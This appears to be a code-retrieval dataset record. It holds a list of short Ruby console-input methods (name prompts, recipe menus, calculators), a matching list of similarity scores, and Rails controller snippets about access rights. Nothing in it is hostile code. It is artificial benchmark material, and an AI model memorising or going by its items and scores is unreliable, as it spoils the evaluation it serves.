"def recipe_ask_for_options\n puts \"\"\n puts \"What would you like to do?\".colorize(:yellow)\n puts \"\\n- [1] Save recipe\\n- [2] See Conversion tool\\n- [3] Back to main menu\".colorize(:yellow)\n user_input = gets.chomp\n if @answers[1][1].include?(user_input)\n @recipe.save_recipe\n self.save_menu_options\n elsif @answers[1][2].include?(user_input)\n self.start_convert\n elsif @answers[1][3].include?(user_input)\n self.start_main_menu\n elsif user_input == \"end\"\n exit \n else\n puts \"Thats wasn't a valid input, type 1 to start program, type 2 to navigate to the conversion feature and type 3 to see help.\".colorize(:red)\n end\n end",
"def get_user_input\n\n\tputs \"What is your name\"\n\t@name = gets\n\tputs \"You are about to enter the world of wrestling, if you want to step foot in it then you will be remembered with your ring name, not as #{@name}\"\n\tputs \"So speaking about ring names, What is your Ring name?\"\n\t@ring_name = gets\n\tputs \"A catchphrase is a thing that you like to say?\"\n\tputs \"What is your catchphrase?\"\n\t@catchphrase = gets\n\tputs \"What is your insult?\"\n\t@insult = gets\n\tputs \"What is your theme song\"\n\t@theme_song = gets\n\tputs \"What are the lyrics of your theme song\"\n\t@lyrics_of_theme_song = gets\n\tputs \"The Indie Circuit is where most people start, if you get promoted to the big leagues maybe you need to change your gimmick.\"\n\tputs \"If you decide to be in the Indies, What will the company be called?\"\n\t@company_indies = gets\n\tputs \"The big leagues are the places where very few people start, it is the main place of wrestling\"\n\tputs \"If you decide to be in the big leagues, you can choose either real or fictional companies, what will the fictional one be called?\"\n\t@company_big_leagues = gets\n\tputs \"If you want to be in a team, what will it be called. if you want to be a singles competitor then just put enter and select\n\tthe choice that you don't want to be in a tag team.\"\n\t@team_name = gets\n\tputs \"Who is your partner, just put a random name if you dont want to be in the tag team\n\tand do the same thing as the last question told you.\"\n\t@partner_tag_first = gets\n\tputs \"Getting back to the fictional company, what will your boss be called?\"\n\t@boss_name = gets\n\tputs \"who is the interviewer for the indies?\"\n\t@interviewername = gets\n\tputs \"If you are a heel during your debut in indies or big leagues, who will be your rival?\"\n\t@rival_name = gets\n\tputs \"but If you are a face during your debut in the indies or big leagues, who will be your rival?\"\n\t@rival_name_face = gets\n\tputs \"Ok so lets get to the story\"\n\n\nend",
"def get_recipe_name_from_user\n puts \"\\nEnter a recipe name or ingredients you want to search by:\\n \".colorize(:green).bold\n find_by_name = gets.strip.downcase\n end",
"def ask_first_name\n puts \"\\n\" + \"====\" + \"\\n\" + \"ASK FIRST NAME\" + \"\\n\" + \"====\"\n puts \"Quel est ton nom?\" \nend",
"def question(category)\n\tputs \"Please enter your favorite #{category}\"\n\tgets.chomp\nend",
"def description (pre_made, items)\n if pre_made == \"y\" || pre_made == \"Y\"\n # List of desriptives\n describe = %W[Lemon Fresh Putrid Crimson Fermented Spiced Creamy Translucent Sugar Pine]\n # List of cooking styles\n cook_style = %W[roasted pan-fried jellied deep-fried poached raw seared blackened steamed broilled]\n # List of foods\n foods = %W[duck grapeleaf romano-cheese salmon green-pepper fig toast crab squab ginger]\n menu_descriptors = [describe, cook_style, foods]\n elsif pre_made != \"y\" && pre_made != \"Y\"\n puts \"\\nEnter food descriptors ie hot, cold, spiced.\"\n puts \"Please separate each item by a comma and space.\\n\"\n describe = gets.chomp.split(\", \")\n if (describe.length) != items\n item_amount_confirm(describe, items)\n end\n puts \"\\nEnter methods of cooking ie fried, steamed, poached.\"\n puts \"Please separate each item by a comma and space.\\n\"\n cook_style = gets.chomp.split(\", \")\n if (cook_style.length) != items\n item_amount_confirm(cook_style, items)\n end\n puts \"\\nEnter food types ie salad, brownie, chicken.\"\n puts \"Please separate each item by a comma and space.\\n\"\n foods = gets.chomp.split(\", \")\n if (foods.length) != items\n item_amount_confirm(foods, items)\n end\n menu_descriptors = [describe, cook_style, foods]\n end\n return menu_descriptors\nend",
"def ask_for(detail)\n puts \"Enter #{detail}\"\n STDIN.gets.chomp \nend",
"def ask(question)\n puts question\n gets.chomp\nend",
"def personalized_hello\n puts \"What is your name?\"\n name = gets.chomp\n puts \"It is such a pleasure to meet you, #{name}\"\nend",
"def name\n puts \"What is your name?\"\n name = gets.chomp\nend",
"def get_input(question)\n\t\tputs \"What's your #{question}?\"\n\t\tgets.chomp\nend",
"def prompt_greeting(namehere)\n print(namehere)\n gets\nend",
"def ask_name\n PROMPT.ask(\"Choose your name: \") do |q|\n q.required true\n q.modify :capitalize\n end\nend",
"def prompt(question)\n puts question\n gets.chomp\nend",
"def get_name\n puts \"Welcome to the casino!!! What's your name?\"\n name = gets.chomp\nend",
"def getAndShow\n\tputs \"Enter your name\"\n\tname = gets()\n\tputs \"Enter your Age\"\n\tage = gets()\n\tputs \"Your name is #{name}\"\n\tputs \"Your Age is #{age}\"\nend",
"def ask(question)\n print question + \" \"\n gets\nend",
"def enter_ingredients\n puts \"\\nPlease input your ingredients below. Separate each ingredient with a comma.\\n\"\n\n ingredients = gets.strip\n recipes = EverythingButTheKitchenSink::SpoonacularApi.get_recipes(ingredients)\n EverythingButTheKitchenSink::TransformData.get_id_and_title(recipes)\n end",
"def prompt (name)\n puts \"What is your name?\"\n name = gets\n puts \"Hello #{name}!\"\n end",
"def print_recipe\n index = 0\n @recipe.recipe_name.each do|item|\n puts \"- [#{index}] #{item}\".colorize(:yellow)\n index = index + 1\n end\n user_input = gets.chomp.to_i\n @recipe.select_recipe(user_input)\n #self.start_main_menu\n end",
"def start_recipe\n @recipe.delete_recipes\n puts File.foreach(\"ingredient_list.txt\") { |line| puts line }\n puts \"What Ingredients do you have?\".colorize(:yellow)\n user_input = gets.chomp\n @recipe.search(user_input)\n self.print_recipe\n self.recipe_ask_for_options()\n end",
"def name_of_person\n\tputs 'What is you name?'\n\ttheir_name = gets\nend",
"def mad_lib\n user_inputs = []\n required_data = %w(noun verb adjective adverb)\n required_data.each do |question|\n puts \"Enter a #{question}:\"\n user_inputs << gets.chomp\n end\n puts \"Do you #{user_inputs[1]} your #{user_inputs[2]} #{user_inputs[0]} #{user_inputs[3]}? That's hilarious!\"\nend",
"def fetch_input(question_to_user)\n print question_to_user\n gets.chomp # return not needed\nend",
"def method_a\n puts \"What is your name?\"\n name = gets.chomp\nend",
"def ask_questions\n super\n print \"What was your reason for joining? \"\n self.reason_for_joining = gets.strip.chomp\n end",
"def prompt_user_song\n puts \"Please enter a song name or number:\"\nend",
"def prompt(message)\n\tprint message\n\tname = gets.chomp\nend",
"def get_name\n\tputs \"Name:\"\n\tname = gets.chomp\nend",
"def ask_question\n\n end",
"def get_name \n\tputs \"What is your surname?:\"\n\tname = gets.chomp \n\tprint_thanks \n\tif check_name_ok?(name)\n\t\tthen print_new_name(name) end\nend",
"def get_name\n\tputs \"What is your name?\"\n\tgets\nend",
"def input_name\n\tname = gets.chomp\nend",
"def enter_buyer\n puts \"\\n\\nEnter a buyer name:\"\n buyer_name = gets.chomp\nend",
"def greeting\n\tputs \"Please enter your name:\"\n\tname = gets.chomp\n\tputs \"Hello\" + \" \" + name\nend",
"def option\n puts \"\\#1. Search for drink based on a specific ingredient.\"\n puts \"\\#2. Take a chance on a random drink.\"\n puts \"\\#3. Get the recipe when you know the name of the drink already.\"\n puts \"\"\n puts \"\\#0. or type 'exit' to Exit\"\n puts \"=====================================\"\n puts \"Please enter a number to choose an option:\"\n\n options = gets.chomp.to_i\n # def\n\n case options\n when 1\n #will accept a liqupr type and display the available drinks to make\n #where the user can accept one to see the ingredients\n puts \"Input ingredient type:\"\n liquor_type = gets.chomp\n drinks_list = search_by_name(liquor_type)\n drinks_list.each do|drink|\n drink.map do |key, value|\n if key == 'strDrink'\n print \"#{value}, \"\n end\n end\n end\n choose_again\n\n when 2\n # puts \"Your random drink is the...\"\n random_drink\n # puts \"Save drink?\"\n # User.like_drink(randomdrink)\n choose_again\n\n when 3\n puts \"Know the name of the drink you want?\"\n drink_name = gets.chomp.to_s\n getting_recipe(drink_name)\n\n choose_again\n\n when 0 || 'exit'\n puts \"Maybe next time, friend. Bye-bye\"\n\n else\n puts \"\\n\\n!!! Sorry but that appears to be an invalid input. Please try again!!! \\n\\n\"\n options\n end\nend",
"def ask\n gets.strip\n end",
"def choose_recipe\n input = nil\n while input != \"exit\"\n puts \"Enter a number for your favorite recipe, or exit to end.\"\n input = gets.strip.downcase\n\n if input.to_i > 0\n todays_recipe = @recipes[input.to_i - 1]\n puts \"#{todays_recipe.title}\n\n #{todays_recipe.description}\n\n #{todays_recipe.link} \"\n end\n end\n end",
"def add_name\n\t\tputs \"What\\'s your name?\"\n\t\t@name = gets.chomp.capitalize \n\tend",
"def get_details\n\t#Your code here\n\tprint \"What is your name? \"\n\tname = gets.chomp\n\tprint \"Hi #{name}! How old are you? \"\n\tage = gets.chomp.to_i\n\tputs \"Wow! You are #{age} years old. In #{100-age} years, you will be 100!\"\nend",
"def prompt(states, cities)\n puts \"Would you like to add a city, add a state, or list all cities and states?\"\n puts \"1. City\\n2. State\\n3. List cities and states\\n4. No\"\n print \"\\n>\"\n response = $stdin.gets.chomp\n answer = response.downcase.strip\n if answer == \"1\"\n addcity(states, cities)\n elsif answer == \"2\"\n addstate(states, cities)\n elsif answer == \"3\"\n puts \"Here are the states\"\n Dict.list(states)\n puts \"Here are the cities\"\n Dict.list(cities)\n prompt(states, cities)\n elsif answer == \"4\"\n puts \"Goodbye!\"\n exit(0)\n else\n puts \"Please type either 1, 2, or 3\"\n prompt(states, cities)\n end\nend",
"def choose_recipe(recipes)\r\n# colors_array = [:magenta,:green,:yellow,:white,:red,:cyan,:blue]\r\n rows = []\r\n # put the list of the recipes\r\n recipes.each.with_index(1) do |recipe,i|\r\n rows << [\"#{i}\",\"#{recipe.name}\".yellow,\"#{recipe.minutes} min\"]\r\n end #recipes.each end\r\n table = Terminal::Table.new :rows => rows\r\n table = Terminal::Table.new :headings => ['Number', 'Food','Time to cook'], :rows => rows\r\n puts table\r\n # put question to let user choose\r\n chosen_recipe = nil\r\n loop do\r\n puts \"Which do you want to cook?(press the number)\"\r\n input = gets.to_i\r\n chosen_recipe = recipes[input - 1]\r\n if input == 0\r\n puts \"Error\"\r\n elsif chosen_recipe != nil\r\n puts \"#{chosen_recipe.name}: you need these ingredients #{chosen_recipe.ingredients}\\nCheck here to know how to cook!->:#{chosen_recipe.url}\"\r\n break\r\n else\r\n puts \"Error\"\r\n end # if\r\n end #loop end\r\nend",
"def user_input\n puts \"Let's play rock, paper, scissors\"\n gets.chomp\nend",
"def general_q(question)\n p question\n gets.chomp\nend",
"def read_choice\n\tputs \"Welcome to Crappy Calc\"\n\tputs \"Available functions:\"\n\tputs \"1. Addition\"\n\tputs \"2. Subtraction\"\n\tputs \"3. Multiplication\"\n\tputs \"4. Division\"\n\tputs \"5. Exponents\"\n\tputs \"6. Square Root\"\n\tputs \"Q: Quit\"\n\n\tprint \"Please enter your selection: \"\n\n\tchoice = gets.chomp.downcase\n\tchoice\nend",
"def q(question,answer)\n puts \"\"\n puts question\n print \"Type: \"\n gets.chomp()\n puts \"Answer: #{answer}\"\nend",
"def make_selection\n\tprint \"\\nPlease make a selection \"\n\tgets.chomp\nend",
"def user_recipe_choice\n puts \"\\nWhich recipe would you like to see?\\nPlease input the recipe number:\\n\"\n\n input = gets.strip\n if valid_recipe_choice(input)\n recipe_index = (input.to_i - 1)\n\n attributes = EverythingButTheKitchenSink::SpoonacularApi.recipe_info(recipe_index)\n recipe_object = EverythingButTheKitchenSink::Recipe.all[recipe_index]\n EverythingButTheKitchenSink::TransformData.get_time_and_url(attributes, recipe_object)\n recipe_object\n else\n user_recipe_choice\n end\n end",
"def ask_question(question)\n\tprint question\n\t\n\tgets.chomp # what gets returned from the function\nend",
"def basic_methods \n\n\t#ask the user their name\n\tputs \"What is your name?\"\n\n\t#create a variable to get the name then use the chomp method to remove the enter \n \tname = gets.chomp\n\n \t#let the user know how nice their name is \n \tputs \"What a lovely name \" + name\n\n \t#ask the user how old they are \n\tputs \"How old are you?\"\n\n\t#create a variable to old the users age and use the gets method to get the string of data and convert it into a integer to be calculated like so\n\tage = gets.to_i\n\n\t#calculate how old the user will be in 10 years \n \tputs \"You are \" + age.to_s\n \tputs \"That\\'s a good age\"\n \tputs \"Do you realize that in ten years you will be \" \n \ttenyears = age + 10 \n \ttenyears.to_i\n \tputs \"#{tenyears}\"\n\n \t#ask the user some more questions about themselves\n \tputs \"#{name} what do you do for a living?\"\n \tliving = gets.chomp\n\n \tputs \"What made you decide to #{living}\"\n\n \tdecide = gets.chomp\n \tputs \"That\\'s interesting!\"\n \tputs \"Good luck on all your endevours!\"\n \tputs \"GOD BLESS YOU #{name}\"\n\t\n\t#you have to let Ruby know to end the method before you can call the method. \n\tend",
"def full_name_greeting\n puts 'Please type your first name.'\n first_name = gets.chomp\n puts 'Please type your middle name.'\n middle_name = gets.chomp\n puts 'Please type your last name.'\n last_name = gets.chomp\n\n puts \"Hello, #{first_name} #{middle_name} #{last_name}!\"\nend",
"def get_response(name)\n puts `clear`\n puts \"*** Welcome to #{name} ****\"\n puts \"Please select one of the choices below.\"\n print \"a(d)d user, (l)ist of all animals, (g)ive animal, (a)doption a pet, (c)lient list, (e)dit animal, edit (u)ser, (q)uit: \"\n gets.chomp.downcase\nend",
"def all_about_you\n# interpolate the final string with the correct variables to print a complete sentence\n puts \"What is your first name?\"\n f_name = gets.chomp\n puts \"What is your last name?\"\n l_name = gets.chomp\n puts \"What school do you go to?\"\n school = gets.chomp\n puts \"What is your favorite movie?\"\n favorite_movie = gets.chomp\n puts \"Who is your favorite music artist?\"\n music_artist = gets.chomp\n puts \"Hello, I'm f_name l_name! I attend school. My favorite movie is favorite_movie. And my favorite music artist is music_artist.\"\nend",
"def task_name\n puts \"What is the task name?\"\n user = gets.chomp.downcase\n puts \"You have added a task: '#{user}' \"\nend",
"def prompt_action \n puts \"You have six options: list users, list channels, select user, select channel, display details, send message, or quit.\"\n puts \"\\n\"\n print \"Please enter your choice: \"\n return gets.chomp.downcase\nend",
"def get_name()\n print \"Enter your name: \"\n return gets.chomp\nend",
"def get_name()\n print \"Enter your name: \"\n return gets.chomp\nend",
"def research (ingredient)\n puts \"You look through your spellbooks to see how adding #{ingredient} might make your #{@name} spell more powerful.\"\n end",
"def input(thing)\n print \"Enter #{thing}: \"\n gets.chomp\nend",
"def get_user_input\n puts 'Welcome to Google Books Searcher'\n puts 'Enter a search term:'\n gets.chomp\nend",
"def prompt(mess) # prompt for all questions\n puts \"==> #{mess}\"\nend",
"def initial_prompt\n puts \"How would you like to explore?\"\n puts \"---------------------------------\"\n puts \"\"\n puts \"1) Search by Year\"\n puts \"2) Search by production title\"\n puts \"\\n\\t ** or type Exit **\"\n input = gets.strip.downcase\n case input\n when \"exit\"\n goodbye\n when \"1\"\n year_search\n when \"2\"\n production_search\n else \n unclear\n end\n end",
"def ask_question(question, options)\n say question\n say \"Your options are: #{options}\"\n gets.chomp.capitalize.strip\nend",
"def description(menu)\n puts \"\\nPLEASE CHOOSE:\"\n puts \"1.#{menu[1][:name]} - #{menu[1][:description]}\"\n puts \"2.#{menu[2][:name]} - #{menu[2][:description]}\"\n puts \"3.#{menu[3][:name]} - #{menu[3][:description]}\"\n puts \"4.See Nutritional Facts\" # Finish nutrition_facts method\n @menu_pick = gets.to_i\n\n if @menu_pick == 4\n nutrition_facts(menu)\n elsif @menu_pick == 5 # Add a 5. Clear order\n clear_order\n else\n order_meal(menu)\n end\n end",
"def newRecipe( foodDB )\n puts \"Enter the name of the recipe entry.\"\n name = STDIN.gets.chomp!.strip\n \n puts \"Enter the name of the ingredients (\\\"Okay\\\" to finish)\"\n ingredients = Array.new\n item = STDIN.gets.chomp!.strip\n while item.casecmp( \"Okay\" ) != 0\n ingredients << item\n\titem = STDIN.gets.chomp!.strip\n end\n puts \"\\n\" + foodDB.addRecipe( name, ingredients )\nend",
"def user_name\r\n\t#ask user for name\r\n\tputs \"What is your Name?\"\r\n\t#get users input and assign it to user_name\r\n\tuser_name = gets.chomp\r\nend",
"def help\n puts ''\n puts 'Input \"exit\" for exit'\n puts 'Input \"create_test_data\" for create test data'\n puts 'Input \"create_station\" for create a station'\n puts 'Input \"create_train for create a train'\n puts 'Input \"add_carriage\" for add a carriage'\n puts 'Input \"delete_carriage\" for delete a carriage'\n puts 'Input \"move_train\" for move a train'\n puts 'Input \"display_stations\" for display your stations'\n puts 'Input \"display_station_trains\" for display the trains on the station'\n puts 'Input \"display_train_carriages\" for display the carriages of the train'\n puts 'Input \"take_a_place\" for take a place'\n puts 'Input \"fill_capacity\" for fill some capacity'\n puts ''\n end",
"def ask_name\r\n puts \"\\e[33mWhat is your name ?\"\r\n print \"\\e[39m> \"\r\n gets.chomp\r\n end",
"def choice\n puts \"Welcome to haiwet\"\n\n input = nil\n while input != \"exit\" do\n puts \"please enter the name of the service you want to see a list of\"\n puts \"1- courses\"\n puts \"2- products\"\n puts \"3- Other\"\n input = gets.strip.downcase\n if input == \"courses\"\n cours_list\n option_cour\n done\n elsif input == \"products\"\n products_list\n option_prod\n done\n elsif input == \"other\"\n site_list\n option_site\n done\n else\n puts \"Didn't you understand?\"\n end\n\n end\n\n end",
"def prompt_function\n puts \"Add, subtract, multiply, divide?\"\n return gets.chomp.downcase #returns answer to above Q for: def prompt\nend",
"def request_user_name\n puts \"Please enter your name: \"\n name = gets.chomp\n end",
"def get_response_for question\nprint question + \": \"\ngets.chomp\nend",
"def greeting (name)\n puts \"What is your name?\"\n name = gets.chomp\n puts \"Hello #{@name}!\"\n end",
"def ask\n end",
"def add_test_prompt\n\tputs \"Which test would you like to add to?\"\n\ttest = gets.chomp\n\tputs \"What is the student's first name?\"\n\tfirst_name = gets.chomp\n\tputs \"What is the student's last name?\"\n\tlast_name = gets.chomp\n\tputs \"What is the students grade out of 100?\"\n\tgrade = gets.chomp\n\tadd_to_test(test, first_name, last_name, grade)\nend",
"def know_resto\n puts \"*\" * 45\n puts \"Which restaurant are you interested in? (Type in the name using proper nouns.)\"\n resto = gets.chomp\n\n choice = Restaurant.find_by(name: resto)\n\n if (choice)\n choice #case-sensitive\n puts \"Here's your restaurant: \\n \"+ \"#{choice.name}, rated: #{choice.rating}; great choice! \\n Call now: #{choice.phone}\"\n else\n try_again\n know_resto\n end\n\nend",
"def other_options\n puts \"\\nWould you like to see another recipe?\\nPlease enter 'Yes' or 'No':\"\n\n input = \"\"\n while input\n input = gets.strip.upcase\n case input\n when \"YES\"\n return true\n when \"NO\"\n puts \"\\nEnjoy your meal!\"\n return false\n else\n puts \"\\nPlease enter 'Yes' or 'No'.\"\n end\n end\n end",
"def clientQuestionaire\n # CLIENT INFORMATION\n # Name\n # Age\n # Number of Children\n # Decor Theme\n # Rush Process\n \n puts \"What is the client's name?\"\n @client_name = gets.strip.capitalize\n \n puts \"What is the client's age?\"\n @client_age = gets.strip.to_i\n \n puts \"How many kids does the client have?\"\n @client_children = gets.strip.to_i\n \n puts \"What is the client's decor theme?\"\n @client_decor = gets.strip\n \n puts \"Is this a rush process ('True'/'False')?\"\n @client_rush = gets.strip.capitalize\n\n @client_info = {\n :client_name => @client_name,\n :client_age => @client_age,\n :client_kids => @client_children,\n :client_decor => @client_decor,\n :client_rush => @client_rush\n }\n \n puts \"Here is the information that was entered:\"\n client_info.each do |key, value| \n puts \"\\t#{value}\"\n end\n \n puts \"Would you like to edit any of the answers ('True' or 'False')?\"\n client_edit = gets.strip.downcase\n \n if client_edit == \"true\" || client_edit == \"t\" || client_edit == \"yes\" || client_edit == \"y\"\n editAnswers\n end\n end",
"def ask_first_name \n puts \"Quel est votre prénom ? \"\n name = gets.chomp\n return name\n end",
"def gets_name\n\t\tputs \"Quel est ton blaze?\"\n\t\tname = gets.chomp\n\tend",
"def rules_knowledge_question(name)\n puts \"\\n\\n#{name} do you know the rules of rock, paper, scissors? \\n\\n\"\n answer = gets.chomp.downcase\n return answer\nend",
"def newFood( foodDB )\n puts \"Enter the name of the basic food entry.\"\n name = STDIN.gets.chomp!.strip\n \n puts \"Enter the number of calories.\"\n calories = STDIN.gets.chomp!.strip\n puts \"\\n\" + foodDB.addFood( name, calories )\nend",
"def prompt(section)\n puts\n puts '---------------------------------------------'\n puts \" Ready to install #{ section }? [y|n]\"\n puts '---------------------------------------------'\nend",
"def prompt(section)\n puts\n puts '---------------------------------------------'\n puts \" Ready to install #{ section }? [y|n]\"\n puts '---------------------------------------------'\nend",
"def prompt(section)\n puts\n puts '---------------------------------------------'\n puts \" Ready to install #{ section }? [y|n]\"\n puts '---------------------------------------------'\nend",
"def nameandageprint\n puts 'What is your name?'\n uname = gets.chomp\n puts 'What is your age?'\n uage = gets.chomp\n puts \"Your Name is #{uname}\"\n puts \"Your age is #{uage}\"\nend",
"def menu #here the method is defined. it doesnt require any parameters because it asks the user for information\n puts \"\" #This is just an empty line\n puts \"(a) is addition\"\n puts \"(b) is subtraction\"\n puts \"(c) is multiplication\"\n puts \"(d) is division\"\n puts \"(e) is for exponents\"\n puts \"(q) is for quit\"\n print \"Enter your choice: \"\n gets.chomp() #Whateever we type is saved as this gets.chomp() statements. Note: this is the same as saying return.gets.chomp but we don't need it because the final line in a method is automatically returned\nend"
] |
[
"0.8356335",
"0.77842045",
"0.7642762",
"0.7580817",
"0.75043017",
"0.7496162",
"0.744863",
"0.7379423",
"0.7268149",
"0.7156204",
"0.71454865",
"0.7103286",
"0.70916665",
"0.7090229",
"0.7083376",
"0.70820856",
"0.7072963",
"0.70597225",
"0.704792",
"0.7036228",
"0.7004203",
"0.6987341",
"0.698662",
"0.69790286",
"0.69326836",
"0.69287616",
"0.6917496",
"0.6911065",
"0.6897473",
"0.6893784",
"0.68835306",
"0.687711",
"0.6860257",
"0.6838796",
"0.6818891",
"0.6813738",
"0.68035173",
"0.67964274",
"0.6787621",
"0.67859185",
"0.67852294",
"0.6781888",
"0.67666095",
"0.6765907",
"0.67471975",
"0.67454356",
"0.6721487",
"0.67137504",
"0.67083335",
"0.6700897",
"0.6688141",
"0.6684407",
"0.66832906",
"0.6679293",
"0.66736096",
"0.6673165",
"0.6664509",
"0.6664225",
"0.66591156",
"0.66502917",
"0.6645231",
"0.6640935",
"0.664066",
"0.6638297",
"0.66362166",
"0.6625268",
"0.66202384",
"0.6617348",
"0.66108996",
"0.66108996",
"0.6606576",
"0.6599518",
"0.6597972",
"0.65832806",
"0.6578296",
"0.6577468",
"0.65714335",
"0.6569698",
"0.65674156",
"0.65669435",
"0.6555313",
"0.6542466",
"0.6539526",
"0.6528096",
"0.6527679",
"0.6515087",
"0.65143913",
"0.65093875",
"0.65040964",
"0.64986765",
"0.6498477",
"0.6497248",
"0.64937115",
"0.6491789",
"0.64893335",
"0.64872223",
"0.64872223",
"0.64872223",
"0.64820576",
"0.647896"
] |
0.7185545
|
9
|
GET /admin/rights/1 GET /admin/rights/1.json
|
def show
@right = Right.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @right }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @rights = Right.all\n end",
"def index\n @access_rights = AccessRight.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @access_rights }\n end\n end",
"def show\n @access_right = AccessRight.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @access_right }\n end\n end",
"def set_rights\n @rights = current_v1_user.rights.find_by(campground_id: params[:campground_id])\n end",
"def index\n @rights_holders = RightsHolder.all\n end",
"def rights\n uri = metadata[dataset_uri][dct.rights.to_s][0]\n rights = metadata[uri] rescue nil\n if rights.nil?\n rights = Rights.new(:uri => uri)\n else\n rights = Rights.new(:uri => uri, \n :dataLicense => rights[odrs.dataLicense.to_s][0], \n :contentLicense => rights[odrs.contentLicense.to_s][0], \n :copyrightNotice => rights[odrs.copyrightNotice.to_s][0], \n :attributionURL => rights[odrs.attributionURL.to_s][0],\n :attributionText => rights[odrs.attributionText.to_s][0]\n )\n end\n return rights\n rescue\n []\n end",
"def index\n authorize Role\n\n respond_to do |format|\n format.json { render json: @roles }\n end\n end",
"def rights\n self[\"rights_tesim\"]\n end",
"def show\n @roles_and_permission = @roles.roles_and_permission.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @roles_and_permission }\n end\n end",
"def object_rights\n convert_value_to_array(model.object_rights).slice(0,1) # return an array containing only the first object_rights or an empty array\n end",
"def set_access_rights\n @access_rights = current_v1_user.rights.find_by(campground_id: params[:campground_id])\n end",
"def set_access_rights\n @access_rights = current_v1_user.rights.find_by(campground_id: params[:campground_id])\n end",
"def set_access_rights\n @access_rights = current_v1_user.rights.find_by(campground_id: params[:campground_id])\n end",
"def set_access_rights\n @access_rights = current_v1_user.rights.find_by(campground_id: params[:campground_id])\n end",
"def set_access_rights\n @access_rights = current_v1_user.rights.find_by(campground_id: params[:campground_id])\n end",
"def rights\n get_text(@xpaths[\"rights\"])\n end",
"def set_access_rights\n # @access_rights = current_v1_user.rights.where(campground_id: params[:campground_id])\n @access_rights = User.find(1).rights.find_by(campground_id: params[:campground_id])\n end",
"def show\n authorize RoleCutoff\n end",
"def show\n authorize! :read, @admin_system_admin\n end",
"def show\n @restriction = Restriction.find(params[:id])\n\n render json: @restriction\n end",
"def show\n @user = User.find(params[:id])\n @isAdmin = current_user.admin_rights\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end",
"def new\n @access_right = AccessRight.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @access_right }\n end\n end",
"def show\n @permission = Permission.find(params[:permission][:id])\n @role = Role.find(params[:role][:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json =>@permission }\n end\n end",
"def show\n @lab_permissions_role = LabPermissionsRole.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lab_permissions_role }\n end\n end",
"def show\n @permissions = @role.permissions\n end",
"def show\n @company = Company.find(params[:company_id])\n @role = Role.find(params[:id])\n if current_user.super_admin == true\n @supported_models = Astrotils::get_models_name.map { |model_name|\n begin\n c = Object.const_get(model_name)\n if c.respond_to?(:get_component_info) and ((c.get_component_info()[0] == :acopio and @company.system_type == false) or (c.get_component_info()[0] == :packing and @company.system_type == true))\n nil\n else\n [c.model_name.human, model_name]\n end\n rescue\n nil\n end\n }\n @supported_models.reject! {|pair| pair == nil}\n else\n @supported_models = []\n Role.where(:company_id => @company.id).map { |r|\n for rol in current_user.roles\n if rol==r\n rol.access_rights.each do |ar|\n c = Object.const_get(ar.model_name)\n if !@supported_models.include?([c.model_name.human, ar.model_name])\n @supported_models << [c.model_name.human, ar.model_name]\n end\n end\n end\n end\n }\n end\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @role }\n end\n end",
"def index\n authorize Role\n @roles = Role.all\n end",
"def show\n authorize @organization_membership\n render json: @organization_membership\n end",
"def show\n @role_permission = RolePermission.find(params[:id])\n #authorize! :show, @role_permission\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @role_permission }\n end\n end",
"def get_permission_menu\n @client.raw('get', '/helpers/menu')\n end",
"def show\n respond_to do |format|\n format.json {\n render json: @person, :include => [:roles => { include: [:privileges] } ]\n }\n end\n end",
"def index\n @roles_privileges = RolesPrivilege.all\n end",
"def index\n @people = Person.all\n respond_to do |format|\n format.json { \n render json: @people, :include => [:roles => { include: [:privileges] } ]\n }\n end\n end",
"def index\n @privileges = Privilege.all\n end",
"def index\n return unless check_permission\n\n @roles = Role.left_joins(:user)\n end",
"def rights_overview\n\t\t@survey = Survey.find(params[:id])\n\t\trespond_to do |format|\n\t\t\tformat.html \n\t\t\tformat.xml { render :xml => @survey }\n\t\tend\n\tend",
"def get_right(right_name)\n self.rights.find_by_name( right_name.to_s )\n end",
"def get_permission_menu\n return @client.raw(\"get\", \"/helpers/menu\")\n end",
"def show\n @restriction = Restriction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @restriction }\n end\n end",
"def index\n rol = Role.where(:id=>current_user.role).first\n if rol.nombre == \"DN\" or rol.nombre == \"ACRM\"\n @colegiaturas = Colegiatura.all\n else\n @colegiaturas = Colegiatura.where(:sede_id=>current_user.sede)\n end \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @colegiaturas }\n end\n end",
"def index\n @roles = record.roles.includes(:resource)\n render jsonapi: @roles, include: %i[users groups resource]\n end",
"def determine_rights(druid)\n rights = 'Restricted'\n xml = Dor::Item.find(\"druid:#{druid}\").rightsMetadata.ng_xml\n if xml.search('//rightsMetadata/access[@type=\\'read\\']/machine/world').length > 0\n rights = 'Public'\n end\n\n [rights, xml.to_xml(indent: 0)]\n end",
"def determine_rights(druid)\n rights = 'Restricted'\n xml = Dor::Item.find(\"druid:#{druid}\").rightsMetadata.ng_xml\n if xml.search('//rightsMetadata/access[@type=\\'read\\']/machine/world').length > 0\n rights = 'Public'\n end\n\n [rights, xml.to_xml(indent: 0)]\n end",
"def roles\n @roles = Role.order(\"name\")\n\t@rights = Right.order(\"name\").map {|r| [r.name, r.id] }\n end",
"def show\n if can?(:read, User)\n @user = User.find(params[:id])\n @roles = \"\"\n\n @user.roles.each do |role|\n if @roles == \"\"\n @roles += role.name\n else\n @roles += \", \" + role.name\n end\n end\n end\n\n respond_to do |format|\n format.json { render :json => @user }\n format.xml { render :xml => @user }\n format.html \n end\n\n rescue ActiveRecord::RecordNotFound\n respond_to_not_found(:json, :xml, :html)\n end",
"def index\n authorize Admin\n @admins = User.find_by_sql([\"select * from users where role = ?\",2])\n end",
"def show\n @readonly_administrator = ReadonlyAdministrator.find(params[:id])\n respond_with @readonly_administrator\n end",
"def show\n authorize @accounts\n render json: @account\n end",
